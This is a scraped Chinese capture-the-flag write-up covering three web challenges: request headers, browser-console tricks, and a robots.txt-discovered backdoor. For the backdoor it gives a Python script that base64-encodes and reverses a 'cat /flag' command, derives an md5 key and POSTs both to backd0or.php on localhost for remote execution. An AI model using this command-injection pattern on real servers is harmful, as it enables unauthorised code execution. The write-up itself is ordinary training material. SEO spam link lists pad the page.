当前位置: 首页 > news >正文

网站怎么收录百度浏览器官网在线使用

网站怎么收录,百度浏览器官网在线使用,中远建设集团有限公司网站,湖北交投建设集团网站文章目录 week1headach3会赢吗智械危机 week1 headach3 根据提示,在页面的请求头里找到flag flag{You_Ar3_R3Ally_A_9ooD_d0ctor} 会赢吗 打开控制台,拿到第一部分flag 将地址栏改为提示,去到下一关 控制台调用函数,得到flag …

文章目录

  • week1
    • headach3
    • 会赢吗
    • 智械危机

week1

headach3

根据提示,在页面的请求头里找到flag
flag{You_Ar3_R3Ally_A_9ooD_d0ctor}

在这里插入图片描述

会赢吗

打开控制台,拿到第一部分flag
在这里插入图片描述
将地址栏改为提示,去到下一关在这里插入图片描述
控制台调用函数,得到flag
在这里插入图片描述
进入第三关,看到与第二关很相似,同样是向一个地方发数据,根据响应拿到flag,但是第二关没有完成该功能的函数,猜测是要自己写一个脚本数据过去
在这里插入图片描述
看题解才发现原来是要修改if指向的条件值在这里插入图片描述
去到第四关,修改设置禁用js,拿到flag,最后将所有flag进行base64解码即可

智械危机

进来看到提示flag跟robots相关,访问robots.txt,(这里为什么要访问这个地址,也是在一次ai的过程里突然理解)得到一个地址,进入在这里插入图片描述
在这里插入图片描述
函数部分的逻辑好理解,接下来解释一下if部分的逻辑在这里插入图片描述
在这里插入图片描述在这里插入图片描述
所以我们所看到的当前网页其实就是else语句执行后的结果
在这里插入图片描述
在题目的源码里,我们可以看到解码后的命令会被执行,因此,可以发送一个获取flag的命令过去,也就是一个webshell

from hashlib import *
from random import  *
from requests import *
from tqdm import *
import uuid
import base64
url='http://127.0.0.1:59206//backd0or.php'
cmd='cat /flag'
base_cmd=base64.b64encode(cmd.encode()).decode()
rev_base_cmd=base_cmd[::-1]
key=base64.b64encode(md5(rev_base_cmd.encode()).hexdigest().encode()).decode()
payload={'cmd':base_cmd,'key':key
}
responce=post(url,data=payload)
print(responce.text)
http://www.mmbaike.com/news/110327.html

相关文章:

  • 免费python在线正常网站一键优化表格
  • 百度网站是用什么软件做的广州疫情今天最新消息
  • 安阳宣传片制作公司成都网站优化
  • 免费制作企业宣传册制作工具关键词优化按天计费
  • 朝阳市网站制作百度竞价排名推广
  • 站长工具seo综合查询黄百度软件中心官网
  • 复兴网站制作汕头seo优化公司
  • 丹阳网站建设提交网址给百度
  • 网站建设收费标准精英个人模板建站
  • wordpress 简洁主题优化大师怎么卸载
  • 推特登陆 网站建设企业网络推广服务
  • 做网站需要交税西安seo报价
  • 网站的k线图怎么做百度资源搜索引擎
  • 模板网站免费建站深圳网络整合营销公司
  • 苏州官网网站首页seo技术服务外包
  • 建筑网站资料排行榜关键词优化需要从哪些方面开展
  • java用什么软件编写广州seo成功案例
  • 网络营销的4p策略北京网站seo招聘
  • 做网站策划师的图片太原企业网站建设
  • 上海做网站的公司官网站长素材音效下载
  • 电商网站的二级菜单怎么做软件开发工程师
  • 岳阳二手房网站惠州seo按天计费
  • 电脑搭建网站步骤百度网盘app官方下载
  • 室内设计方案西安seo计费管理
  • 帮别人做网站收多少钱合适外包网站有哪些
  • 网站建设全程揭秘seo教程搜索引擎优化
  • 苏州大写的网站建设单页面网站如何优化
  • whmcs整合wordpress百度怎么优化网站排名
  • 唐山长城网站建设培训心得体会500字
  • 网站建设宣传资料网络app推广是什么工作